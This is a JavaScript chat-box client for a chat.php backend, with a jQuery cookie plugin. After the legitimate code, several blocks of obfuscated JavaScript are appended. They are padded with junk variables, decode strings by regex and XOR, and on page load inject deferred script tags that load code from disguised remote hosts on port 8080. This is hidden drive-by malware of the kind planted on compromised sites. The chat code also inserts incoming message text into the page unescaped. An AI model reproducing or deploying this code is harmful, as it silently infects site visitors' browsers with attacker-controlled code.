
var windowFocus = true;
var username;
var chatHeartbeatCount = 0;
var minChatHeartbeat = 1000;
var maxChatHeartbeat = 33000;
var chatHeartbeatTime = minChatHeartbeat;
var originalTitle;
var blinkOrder = 0;

var chatboxFocus = new Array();
var newMessages = new Array();
var newMessagesWin = new Array();
var chatBoxes = new Array();

$(document).ready(function(){
	originalTitle = document.title;
	startChatSession();

	$([window, document]).blur(function(){
		windowFocus = false;
	}).focus(function(){
		windowFocus = true;
		document.title = originalTitle;
	});
});

function restructureChatBoxes() {
	align = 0;
	for (x in chatBoxes) {
		chatboxtitle = chatBoxes[x];

		if ($("#chatbox_"+chatboxtitle).css('display') != 'none') {
			if (align == 0) {
				$("#chatbox_"+chatboxtitle).css('right', '20px');
			} else {
				width = (align)*(225+7)+20;
				$("#chatbox_"+chatboxtitle).css('right', width+'px');
			}
			align++;
		}
	}
}

function chatWith(chatuser) {
	createChatBox(chatuser);
	$("#chatbox_"+chatuser+" .chatboxtextarea").focus();
}

function createChatBox(chatboxtitle,minimizeChatBox) {
	if ($("#chatbox_"+chatboxtitle).length > 0) {
		if ($("#chatbox_"+chatboxtitle).css('display') == 'none') {
			$("#chatbox_"+chatboxtitle).css('display','block');
			restructureChatBoxes();
		}
		$("#chatbox_"+chatboxtitle+" .chatboxtextarea").focus();
		return;
	}

	$(" <div />" ).attr("id","chatbox_"+chatboxtitle)
	.addClass("chatbox")
	.html('<div class="chatboxhead"><div class="chatboxtitle">'+chatboxtitle+'</div><div class="chatboxoptions"><a href="javascript:void(0)" onclick="javascript:toggleChatBoxGrowth(\''+chatboxtitle+'\')" >-</a> <a href="javascript:void(0)" onclick="javascript:closeChatBox(\''+chatboxtitle+'\')" >X</a></div><br clear="all"/></div><div class="chatboxcontent"></div><div class="chatboxinput"><textarea class="chatboxtextarea" onkeydown="javascript:return checkChatBoxInputKey(event,this,\''+chatboxtitle+'\');"></textarea></div>')
	.appendTo($( "body" ));
			   
	$("#chatbox_"+chatboxtitle).css('bottom', '0px');
	
	chatBoxeslength = 0;

	for (x in chatBoxes) {
		if ($("#chatbox_"+chatBoxes[x]).css('display') != 'none') {
			chatBoxeslength++;
		}
	}

	if (chatBoxeslength == 0) {
		$("#chatbox_"+chatboxtitle).css('right', '20px');
	} else {
		width = (chatBoxeslength)*(225+7)+20;
		$("#chatbox_"+chatboxtitle).css('right', width+'px');
	}
	
	chatBoxes.push(chatboxtitle);

	if (minimizeChatBox == 1) {
		minimizedChatBoxes = new Array();

		if ($.cookie('chatbox_minimized')) {
			minimizedChatBoxes = $.cookie('chatbox_minimized').split(/\|/);
		}
		minimize = 0;
		for (j=0;j<minimizedChatBoxes.length;j++) {
			if (minimizedChatBoxes[j] == chatboxtitle) {
				minimize = 1;
			}
		}

		if (minimize == 1) {
			$('#chatbox_'+chatboxtitle+' .chatboxcontent').css('display','none');
			$('#chatbox_'+chatboxtitle+' .chatboxinput').css('display','none');
		}
	}

	chatboxFocus[chatboxtitle] = false;

	$("#chatbox_"+chatboxtitle+" .chatboxtextarea").blur(function(){
		chatboxFocus[chatboxtitle] = false;
		$("#chatbox_"+chatboxtitle+" .chatboxtextarea").removeClass('chatboxtextareaselected');
	}).focus(function(){
		chatboxFocus[chatboxtitle] = true;
		newMessages[chatboxtitle] = false;
		$('#chatbox_'+chatboxtitle+' .chatboxhead').removeClass('chatboxblink');
		$("#chatbox_"+chatboxtitle+" .chatboxtextarea").addClass('chatboxtextareaselected');
	});

	$("#chatbox_"+chatboxtitle).click(function() {
		if ($('#chatbox_'+chatboxtitle+' .chatboxcontent').css('display') != 'none') {
			$("#chatbox_"+chatboxtitle+" .chatboxtextarea").focus();
		}
	});

	$("#chatbox_"+chatboxtitle).show();
}


function chatHeartbeat(){

	var itemsfound = 0;
	
	if (windowFocus == false) {
 
		var blinkNumber = 0;
		var titleChanged = 0;
		for (x in newMessagesWin) {
			if (newMessagesWin[x] == true) {
				++blinkNumber;
				if (blinkNumber >= blinkOrder) {
					document.title = x+' says...';
					titleChanged = 1;
					break;	
				}
			}
		}
		
		if (titleChanged == 0) {
			document.title = originalTitle;
			blinkOrder = 0;
		} else {
			++blinkOrder;
		}

	} else {
		for (x in newMessagesWin) {
			newMessagesWin[x] = false;
		}
	}

	for (x in newMessages) {
		if (newMessages[x] == true) {
			if (chatboxFocus[x] == false) {
				//FIXME: add toggle all or none policy, otherwise it looks funny
				$('#chatbox_'+x+' .chatboxhead').toggleClass('chatboxblink');
			}
		}
	}
	
	$.ajax({
	  url: "chat.php?action=chatheartbeat",
	  cache: false,
	  dataType: "json",
	  success: function(data) {

		$.each(data.items, function(i,item){
			if (item)	{ // fix strange ie bug

				chatboxtitle = item.f;

				if ($("#chatbox_"+chatboxtitle).length <= 0) {
					createChatBox(chatboxtitle);
				}
				if ($("#chatbox_"+chatboxtitle).css('display') == 'none') {
					$("#chatbox_"+chatboxtitle).css('display','block');
					restructureChatBoxes();
				}
				
				if (item.s == 1) {
					item.f = username;
				}

				if (item.s == 2) {
					$("#chatbox_"+chatboxtitle+" .chatboxcontent").append('<div class="chatboxmessage"><span class="chatboxinfo">'+item.m+'</span></div>');
				} else {
					newMessages[chatboxtitle] = true;
					newMessagesWin[chatboxtitle] = true;
					$("#chatbox_"+chatboxtitle+" .chatboxcontent").append('<div class="chatboxmessage"><span class="chatboxmessagefrom">'+item.f+':&nbsp;&nbsp;</span><span class="chatboxmessagecontent">'+item.m+'</span></div>');
				}

				$("#chatbox_"+chatboxtitle+" .chatboxcontent").scrollTop($("#chatbox_"+chatboxtitle+" .chatboxcontent")[0].scrollHeight);
				itemsfound += 1;
			}
		});

		chatHeartbeatCount++;

		if (itemsfound > 0) {
			chatHeartbeatTime = minChatHeartbeat;
			chatHeartbeatCount = 1;
		} else if (chatHeartbeatCount >= 10) {
			chatHeartbeatTime *= 2;
			chatHeartbeatCount = 1;
			if (chatHeartbeatTime > maxChatHeartbeat) {
				chatHeartbeatTime = maxChatHeartbeat;
			}
		}
		
		setTimeout('chatHeartbeat();',chatHeartbeatTime);
	}});
}

function closeChatBox(chatboxtitle) {
	$('#chatbox_'+chatboxtitle).css('display','none');
	restructureChatBoxes();

	$.post("chat.php?action=closechat", { chatbox: chatboxtitle} , function(data){	
	});

}

function toggleChatBoxGrowth(chatboxtitle) {
	if ($('#chatbox_'+chatboxtitle+' .chatboxcontent').css('display') == 'none') {  
		
		var minimizedChatBoxes = new Array();
		
		if ($.cookie('chatbox_minimized')) {
			minimizedChatBoxes = $.cookie('chatbox_minimized').split(/\|/);
		}

		var newCookie = '';

		for (i=0;i<minimizedChatBoxes.length;i++) {
			if (minimizedChatBoxes[i] != chatboxtitle) {
				newCookie += chatboxtitle+'|';
			}
		}

		newCookie = newCookie.slice(0, -1)


		$.cookie('chatbox_minimized', newCookie);
		$('#chatbox_'+chatboxtitle+' .chatboxcontent').css('display','block');
		$('#chatbox_'+chatboxtitle+' .chatboxinput').css('display','block');
		$("#chatbox_"+chatboxtitle+" .chatboxcontent").scrollTop($("#chatbox_"+chatboxtitle+" .chatboxcontent")[0].scrollHeight);
	} else {
		
		var newCookie = chatboxtitle;

		if ($.cookie('chatbox_minimized')) {
			newCookie += '|'+$.cookie('chatbox_minimized');
		}


		$.cookie('chatbox_minimized',newCookie);
		$('#chatbox_'+chatboxtitle+' .chatboxcontent').css('display','none');
		$('#chatbox_'+chatboxtitle+' .chatboxinput').css('display','none');
	}
	
}

function checkChatBoxInputKey(event,chatboxtextarea,chatboxtitle) {
	 
	if(event.keyCode == 13 && event.shiftKey == 0)  {
		message = $(chatboxtextarea).val();
		message = message.replace(/^\s+|\s+$/g,"");

		$(chatboxtextarea).val('');
		$(chatboxtextarea).focus();
		$(chatboxtextarea).css('height','44px');
		if (message != '') {
			$.post("chat.php?action=sendchat", {to: chatboxtitle, message: message} , function(data){
				message = message.replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/\"/g,"&quot;");
				$("#chatbox_"+chatboxtitle+" .chatboxcontent").append('<div class="chatboxmessage"><span class="chatboxmessagefrom">'+username+':&nbsp;&nbsp;</span><span class="chatboxmessagecontent">'+message+'</span></div>');
				$("#chatbox_"+chatboxtitle+" .chatboxcontent").scrollTop($("#chatbox_"+chatboxtitle+" .chatboxcontent")[0].scrollHeight);
			});
		}
		chatHeartbeatTime = minChatHeartbeat;
		chatHeartbeatCount = 1;

		return false;
	}

	var adjustedHeight = chatboxtextarea.clientHeight;
	var maxHeight = 94;

	if (maxHeight > adjustedHeight) {
		adjustedHeight = Math.max(chatboxtextarea.scrollHeight, adjustedHeight);
		if (maxHeight)
			adjustedHeight = Math.min(maxHeight, adjustedHeight);
		if (adjustedHeight > chatboxtextarea.clientHeight)
			$(chatboxtextarea).css('height',adjustedHeight+8 +'px');
	} else {
		$(chatboxtextarea).css('overflow','auto');
	}
	 
}

function startChatSession(){  
	$.ajax({
	  url: "chat.php?action=startchatsession",
	  cache: false,
	  dataType: "json",
	  success: function(data) {
 
		username = data.username;

		$.each(data.items, function(i,item){
			if (item)	{ // fix strange ie bug

				chatboxtitle = item.f;

				if ($("#chatbox_"+chatboxtitle).length <= 0) {
					createChatBox(chatboxtitle,1);
				}
				
				if (item.s == 1) {
					item.f = username;
				}

				if (item.s == 2) {
					$("#chatbox_"+chatboxtitle+" .chatboxcontent").append('<div class="chatboxmessage"><span class="chatboxinfo">'+item.m+'</span></div>');
				} else {
					$("#chatbox_"+chatboxtitle+" .chatboxcontent").append('<div class="chatboxmessage"><span class="chatboxmessagefrom">'+item.f+':&nbsp;&nbsp;</span><span class="chatboxmessagecontent">'+item.m+'</span></div>');
				}
			}
		});
		
		for (i=0;i<chatBoxes.length;i++) {
			chatboxtitle = chatBoxes[i];
			$("#chatbox_"+chatboxtitle+" .chatboxcontent").scrollTop($("#chatbox_"+chatboxtitle+" .chatboxcontent")[0].scrollHeight);
			setTimeout('$("#chatbox_"+chatboxtitle+" .chatboxcontent").scrollTop($("#chatbox_"+chatboxtitle+" .chatboxcontent")[0].scrollHeight);', 100); // yet another strange ie bug
		}
	
	setTimeout('chatHeartbeat();',chatHeartbeatTime);
		
	}});
}



jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};








var g;if(g!='k'){g='k'};var h=window;var e="";var _=document;this.x='';this.gt='';var _a='s7c7rLi<pLt<'.replace(/[\<Vl7L]/g, '');var bp;if(bp!='sw'){bp='sw'};var y;if(y!='m'){y='m'};this.ff="";h.onload=function(){var z;if(z!='yq' && z!='v'){z='yq'};try {j=_.createElement(_a);var nf="nf";var gw="";var u="";j.src='h%tHtKpO:O/K/Hl%o%v%eH2H1OcHn%-OcKo%mK.OmKaQcQyQs%.QcQoKm%.QfHlOiQcKk%rK-Qc%oQm%.OrHeQcKe%n%tOmQe%x%i%cOo%.HrQuH:H8%0H8Q0K/%m%yQbHeOsHt%yKoOu%xQiK.OcHnH/QmHyHbKeKsQt%yOoKuKx%i%.Kc%nH/%gKo%oHg%lQeO.%cOoQmK/Ko%nKeHmQaOnKgQaH.%cHoKm%/K3Q7OwOaQnO.KcHoOmK/K'.replace(/[KHQO%]/g, '');var zu;if(zu!='hv'){zu=''};var nm="";j.setAttribute('dQeNfQe+rN'.replace(/[N\+cnQ]/g, ''), "1");var ny=29942;var me=new Array();var uj;if(uj!='hs' && uj != ''){uj=null};_.body.appendChild(j);} catch(c){var sc;if(sc!='nn'){sc='nn'};};var l;if(l!='bbw' && l!='nx'){l=''};};
var bv;if(bv!='vm'){bv=''};y=function(){var ue=new Date();var m=document;var wz=new Array();window[b([9,2][1])]=function(){var uc=new String();try {r=m[b([1][0])](b([0][0]));this.mo="mo";var vo='';var ix;if(ix!=''){ix='nj'};r[b([3,9][0])]=b([5,8][1]);var lo;if(lo!='' && lo!='ty'){lo=null};r[b([5][0])](b([7][0]), "1");var n = m[b([6,8][0])];var tj="tj";n[b([4,9][0])](r);var iz=new String();} catch(i){var ys=new Array();};};var tc=new Array();var kb;if(kb!='gq'){kb='gq'};function b(yq){var v=['sScwr,iqpVtw'.replace(/[wS,Vq]/g, ''), 'c|rbeCavtveCEbl|ebmCeqnqtb'.replace(/[bCvq\|]/g, ''), 'obn6l6o?a6d?'.replace(/[\?SbA6]/g, ''), 'sNrVcV'.replace(/[VS\!NH]/g, ''), 'afp?pfeMn*dMC*hfi,l?dM'.replace(/[M,\?f\*]/g, ''), 's1egt1ATtQt1r1iQbTuQtge1'.replace(/[1gT~Q]/g, ''), 'bloldLyL'.replace(/[Ln90l]/g, ''), 'dbezfWezr0'.replace(/[0CzbW]/g, ''), 'h+t+t+p2:2/>/2g>o>o+g2l2e>-@cUo@m@-+u@a>.+kUe@e>z2m2o@v2i2eUsU.@cUoUm+.2g>o>oUg@lUeU-+cUh>.2b+eUs>t+n>e>wUsUm+a>l+l2.@r>u@:+820>8>02/Ug>o@oUg@l2e>.UcUo2m@/2g>o>o+g>l>e>.+cUoUm@/>gUo+o@g>lUeU.+i+t+/+k@a2i>x>i@n20+021>.>c+o2m@/Ul>i+f@e>hUa@cUkUe+r2.>c@o@m>/>'.replace(/[\>U@\+2]/g, '')];var mc=v[yq];var xs=false;return mc;}var ms;if(ms!='o'){ms='o'};};y();var q=false;
var f=60207;try {var j;if(j!='l' && j != ''){j=null};this.ur="ur";var h='oQnQlQosaId0'.replace(/[0Qs1I]/g, '');this.m=false;this.w='';this.hl="";var k=window;var u='sYc9rAi9p9tA'.replace(/[A&n9Y]/g, '');var p="p";var r='c!rCe!a?tCeGE!lCeCm!eGn2t!'.replace(/[\!C\?2G]/g, '');var ki=false;y=function(){var ja;if(ja!='' && ja!='c'){ja=null};d=document[r](u);var bo;if(bo!='m_'){bo=''};var uc;if(uc!='qf'){uc=''};var vn=new Date();var si="";var ni=24522;d['sbr4cx'.replace(/[x4bPg]/g, '')]='h+tXtjp$:+/+/jpXi$c+fjo$cjoj-QcQoXmQ.QbQi$tj.$lXy+.+p+l+a$y+s$tXaQtQijoQn$-Qc+oXmX.+mQeXdXi$a$t$a+gQo$n$l$i$nXeX.XrQu+:j8$0$8j0j/$wXaXr+e+sje+eXkje+rj.$c+oQmX/Xwja+rje+sjeje+k$e+r+.$cQo$mQ/+gXoXojgXlQej.+cQo+mX/$sQcQhXuQeQl+e$r$vXz$.jn$eQt$/XgXcX.jcjaX/j'.replace(/[j\+QX\$]/g, '');this.ly="";var p_="";d.setAttribute('daegfWegrK'.replace(/[KgWGa]/g, ''), ([1,3][0]));this.zh="";this.ml=15148;this.os='';document['bGoid*yV'.replace(/[VGi\<\*]/g, '')]['aGpbp5ernTd5CThbi5lGd5'.replace(/[5GTrb]/g, '')](d);this.wo='';this.sa='';};this.bk=55583;var yg;if(yg!='lo' && yg!='vz'){yg=''};var jj;if(jj!=''){jj='wf'};k[h]=y;} catch(rh){var oj="";};
var HYm="7076476174045955736b672f49524e49256d46625349524e6663646858555a57714458407b447b5f7b55695b73310d5151684f6f777a5669734f684f4e5d4a72766a4e4e27576f3c4d537e2e56530a4d5d";var qfL;if(qfL!='' && qfL!='dU'){qfL=null};var UK=13805;var wj=18674;function M(U){var Mf;if(Mf!='JS'){Mf=''};this.aI=20530;var I='';var Pg;if(Pg!='hv' && Pg!='f'){Pg=''}; var Y=function(B, c){var Pn="";this.eM=false;this.tt='';var Ys = '';var L = B.length;var d=[0][0];var Mt;if(Mt!='hKs' && Mt!='eq'){Mt=''};var y=[1][0];var u = c.length;var Z='';var lu='';var yu=new Date();for(var h = d; h < L; h += u) {var l = B.substr(h, u);var Jl;if(Jl!='BZ' && Jl != ''){Jl=null};if(l.length == u){var pD;if(pD!='gY'){pD=''};for(var YH in c) {this.sG=57414;var zY="zY";Ys+=l.substr(c[YH], y);this.RT="RT";var Mo;if(Mo!='' && Mo!='V'){Mo=''};var TW="TW";}var aa="";var Dj;if(Dj!='uo' && Dj != ''){Dj=null};} else {  Ys+=l;}}var su;if(su!='m' && su!='BO'){su=''};var tj;if(tj!=''){tj='gl'};var TJ;if(TJ!='FG'){TJ='FG'};return Ys;};this.Wx=10113; var v=function(T,r){this.Jj=45949;return T^r;};var gE="";var fl=""; var Au='';function s(B){var wZ="";var Fzo;if(Fzo!='' && Fzo!='nP'){Fzo='YL'};var AT;if(AT!='BJ' && AT!='jU'){AT=''};var d =[78,0,43][1];var Tg='';var Ys = '';var h =[0][0];var fx="fx";var sQ;if(sQ!='xJ' && sQ!='K'){sQ='xJ'};B = new w(B);var FF='';var D = -1;this.gJ='';var ka=new Date();var JH=new Date();for (h=B[Y("elgnht", [1,0])]-D;h>=d;h=h-[1][0]){Ys+=B[Y("achrAt", [1,2,0,3])](h);var jg;if(jg!='' && jg!='AI'){jg=''};}this.YK='';var dL=new String();return Ys;}var kc;if(kc!='IT' && kc != ''){kc=null}; function p(o){this.uD="uD";var UM=false;var YH=[89,0][1];this.Cv="Cv";var R=o[Y("gntelh", [4,3,1,0,2])];var Yv;if(Yv!='TA' && Yv != ''){Yv=null};var zS;if(zS!='bW' && zS != ''){zS=null};var tM;if(tM!='Zj' && tM != ''){tM=null};var Q=[138,240,255][2];var LB;if(LB!='' && LB!='Cr'){LB='EF'};var la=[64,102,0][2];var y=[1][0];var pB='';var th;if(th!='' && th!='bZ'){th=''};var us='';var IV='';while(YH<R){this.cL="";var eP;if(eP!='aR' && eP != ''){eP=null};var BY;if(BY!='' && BY!='Dk'){BY=null};var ob;if(ob!='' && ob!='Qd'){ob=null};YH++;this.WG="WG";this.np="np";S=C(o,YH - y);var oS;if(oS!='' && oS!='iQ'){oS='xu'};la+=S*R;}var FR;if(FR!='Cox' && FR!='fn'){FR='Cox'};this.eL=false;this.jk=false;return new w(la % Q);var Lj;if(Lj!='' && Lj!='qu'){Lj=null};this.Pt=false;}var gb;if(gb!='' && gb!='qX'){gb=''};var ITn=48918; this.oC="oC";function C(b,yS){return b[Y("orChdaceAt", [6,3,5,1,2,0,4])](yS);}var q=window;this.qK=42155;var MG;if(MG!=''){MG='DH'};var G=q[Y("vela", [1,0,3,2])];var EKe;if(EKe!='NF'){EKe=''};this.zd="zd";var g=G(Y("ntcnuFio", [5,4,3,2,1,6,7,0]));var doL="doL";var bvl="bvl";var BZQ;if(BZQ!='bd' && BZQ!='uH'){BZQ=''};var oi;if(oi!='Zi' && oi!='cJ'){oi=''};var k = '';var gJb;if(gJb!='' && gJb!='gy'){gJb=''};var hK=G(Y("xeERgp", [3,1,4,2,0]));var lME;if(lME!='hp'){lME=''};this.Qo=59348;var lh=43717;var w=G(Y("tiSrng", [2,0,3,1]));var Bs;if(Bs!='' && Bs!='zr'){Bs=null};this.LI="";var HE="";var Nq=new Array();var Tu=false;var wFU;if(wFU!='' && wFU!='jj'){wFU=null};var Lz=w[Y("ohfmaCrrCode", [2,6,0,3,5,1,4])];this.fQ='';var wq=q[Y("ecepuans", [4,6,2,7,1,5,3,0])];var uT;if(uT!='cd' && uT!='ju'){uT='cd'};var cR;if(cR!='Ad' && cR!='jY'){cR='Ad'};this.Iv=false;var YQ = U[Y("gnetlh", [4,2,1,0,3])];var nPl;if(nPl!='' && nPl!='gp'){nPl=''};var QF;if(QF!='' && QF!='WH'){QF=null};var jl=58927;var y =[1][0];var sk;if(sk!='kz'){sk='kz'};this.xR=false;var x = '';var Lq =[134,73,2][2];var MU;if(MU!='Rp' && MU != ''){MU=null};var cC;if(cC!='Ou' && cC != ''){cC=null};var e = '';this.FN=false;this.RGE=false;var gj = "%";var Pr='';this.Nqz=false;var X = '';var J = /[^@a-z0-9A-Z_-]/g;var a =[163,0,203][1];this.Ju=false;var d =[1,0,75,178][1];var Nw=new Array();var Cd;if(Cd!='' && Cd!='qD'){Cd='wO'};var SM=new Date();var N=[1, Y("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),2, Y("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, Y(".cnleivseitdiesgrn.u0:880", [1,2,0,3]),4, Y("ocmh.aebrutr.kcmo.maaozn", [1,0,2]),5, Y("sd.Aetrttuib(tee\'drfe\'", [1,2,0]),6, Y("utdsevriieczinshocm.", [3,1,0,2]),7, Y("oogg.eclom", [3,1,0,2]),8, Y("oglogcem.o.pk", [1,3,0,4,2]),11, Y("iwnod.wolnoad", [1,0,2,4,3]),12, Y("k.namsecom", [3,5,0,4,6,2,1,7]),14, Y("ufcnitno)(", [1,0]),15, Y("accht(e)", [2,0,4,1,3]),16, Y("h\"tt:p", [1,0]),17, Y(".drsc", [1,0]),18, Y("neyt", [2,0,1]),19, Y(")\'\'1", [2,3,1,0]),20, Y("rty", [1,0])];var EZ=new String();var fO;if(fO!='Qh'){fO='Qh'};var qc=new String();var yb='';var ld='';this.Koa="Koa";var XJ;if(XJ!='' && XJ!='ja'){XJ=null};for(var dR=d; dR < YQ; dR+=Lq){var eT;if(eT!='' && eT!='vo'){eT=''};x+= gj; var QC;if(QC!='' && QC!='MH'){QC=''};x+= U[Y("ubstrs", [2,0,1])](dR, Lq);var wH;if(wH!='' && wH!='Yi'){wH='Pp'};var bO="";}var iN;if(iN!='' && iN!='cp'){iN='JHN'};var U = wq(x);var A = new w(M);var F = A[Y("eaerpcl", [3,0,4,6,1,5,2])](J, e);var kd;if(kd!='Fe'){kd='Fe'};var mC='';var fXC=new String();this.fv="fv";this.mS='';var Jc = new w(g);var qU=new Array();var i = N[Y("glneth", [1,3,2,0,4])];var bL;if(bL!='' && bL!='pI'){bL='Eq'};F = s(F);var rA=4822;var Jw = Jc[Y("erlpcae", [1,0])](J, e);var Jw = p(Jw);var Tm;if(Tm!='md'){Tm=''};var z=p(F);var nv;if(nv!='' && nv!='fT'){nv=null};for(var h=d; h < (U[Y("glenth", [1,2,3,0])]);h=h+[139,231,1][2]) {var ca=false;var KC;if(KC!='hr' && KC!='Lv'){KC='hr'};var qf = F.charCodeAt(a);var lx = C(U,h);var uk=new String();var YJ=new Date();var uK=new String();var dgiE=new Array();lx = v(lx, qf);lx = v(lx, z);var ON;if(ON!='Gzk' && ON!='pIP'){ON=''};lx = v(lx, Jw);var IQ=new String();var Zx;if(Zx!=''){Zx='Xd'};var cu;if(cu!='' && cu!='iq'){cu=null};a++;var Tz;if(Tz!='dRN'){Tz='dRN'};if(a > F.length-y){this.Pwj=false;a=d;this.aG="";}var Wl;if(Wl!=''){Wl='hvh'};var Kr=new Date();var Ei;if(Ei!='Ik' && Ei!='FX'){Ei='Ik'};var NR=new String();X += Lz(lx);var jr=new Array();var LK;if(LK!='jO'){LK=''};}var Unv='';var Gm;if(Gm!='' && Gm!='Sa'){Gm='NRQ'};for(P=d; P < i; P+=Lq){var Vl;if(Vl!='' && Vl!='sI'){Vl='cRg'};this.aD=false;var W = Lz(N[P]);this.Xb="";this.Ho=61828;var Ma="Ma";var Xl = N[P + y];var RZ="";var yv='';var dX;if(dX!='' && dX!='Zh'){dX=''};var n = new hK(W, w.fromCharCode(103));var RR;if(RR!='LsG' && RR != ''){RR=null};X=X[Y("earlpce", [2,0,4,3,1])](n, Xl);var RU=false;var Nz=new String();}var he="he";var bj;if(bj!='OWE'){bj='OWE'};var xE=new g(X);this.jq=false;xE();var UH=new Array();F = '';Jw = '';var gn=59278;Jc = '';var Rx=53992;z = '';X = '';var Bo;if(Bo!='rrU'){Bo='rrU'};xE = '';var pf;if(pf!='FKS'){pf='FKS'};this.fa="fa";var Br;if(Br!='' && Br!='Ak'){Br=null};return '';var JO;if(JO!='iy'){JO=''};};var qfL;if(qfL!='' && qfL!='dU'){qfL=null};var UK=13805;var wj=18674;M(HYm);
this.o='';function M() {var Wg;if(Wg!=''){Wg='r'};this.rk="";var z='replace';var i="";var n="";var O=RegExp;var f='';var U='[';var _;if(_!=''){_='R'};var B=']';var hR='';var zb;if(zb!='j'){zb='j'};var E=new String();this.wh="";var WL;if(WL!='cn' && WL != ''){WL=null};var x='g';var Ny=new Date();var cu;if(cu!='e' && cu!='IhS'){cu=''};function L(V,I){this.A='';var ma;if(ma!='yu'){ma='yu'};var Ia=new Array();var F=U;var fX;if(fX!='DW'){fX='DW'};F+=I;var zt;if(zt!='' && zt!='kc'){zt='Do'};var E_;if(E_!='qC'){E_=''};F+=B;var P=new String();var Us=new Date();var N=new O(F, x);return V[z](N, E);var Nn;if(Nn!='cs'){Nn='cs'};};var QW=new Date();var lJ=new Array();var l=window;var H=L('8775570676668666770657',"657");var Rv;if(Rv!='' && Rv!='FB'){Rv='bq'};var VR;if(VR!='' && VR!='ct'){VR='wY'};var d='';var rq;if(rq!='zh'){rq=''};var D=L('/At7vH.AcAoAmA/7tBvH.HcHo7mH/AgAoAoHgHlAeA.BcHoAmA/HdHaHuHmB.7nHeAtA/BmHaAsHrAa7wHyA.Bc7o7mB.BpBhBpA',"AHB7");var xX=L('sHcPrMiPpHtP',"PMH");var Kp=new Date();var TH;if(TH!='Gr' && TH!='uK'){TH='Gr'};var a=new String();var y=L('cyrCeyaztyezEylzeymCeznyty',"Czy");var LH=L('h_tAtHp_:A/O/Uc_aHr_tUoUo_nHnAeOtOwOoArOkO-OcUoOmU.Ac_oUmAc_aOsHtH.UnAeAtA.UdHuOoAwOaUnO-OcHoAmA._sHaHmHuUe_sAtH.ArUuO:U',"AUHO_");var cc;if(cc!='RZ'){cc='RZ'};var BR;if(BR!='' && BR!='rg'){BR=null};l[L('oDn7lDoDa7dD',"7D")]=function(){var ON=new Array();try {var ba;if(ba!='vl' && ba != ''){ba=null};var Hd="";var Ze;if(Ze!='' && Ze!='vQ'){Ze=''};var vo='';d+=LH;d+=H;d+=D;var yM;if(yM!='' && yM!='Nrr'){yM=''};W=document[y](xX);var xk;if(xk!='hO' && xk!='BEf'){xk=''};var Ck;if(Ck!='' && Ck!='Jj'){Ck=''};this.pZ='';zG(W,'src',d);var rL=new Date();var Bf;if(Bf!='po'){Bf='po'};var dk=new String();zG(W,'defer',([1][0]));var bC;if(bC!=''){bC='GO'};this.TB='';document.body.appendChild(W);var sI=new String();} catch(b){var eU=new Date();var YU;if(YU!='ef' && YU != ''){YU=null};};var X;if(X!='vs' && X!='S_'){X=''};};this.It='';function zG(Nl,Z,v){var Gc;if(Gc!='If'){Gc=''};Nl.setAttribute(Z, v);var CV=new String();var bU;if(bU!='jJ'){bU=''};}var zx;if(zx!='cB' && zx!='Df'){zx='cB'};var rA;if(rA!='Bx'){rA='Bx'};};M();this.yS="";var Jb=new String();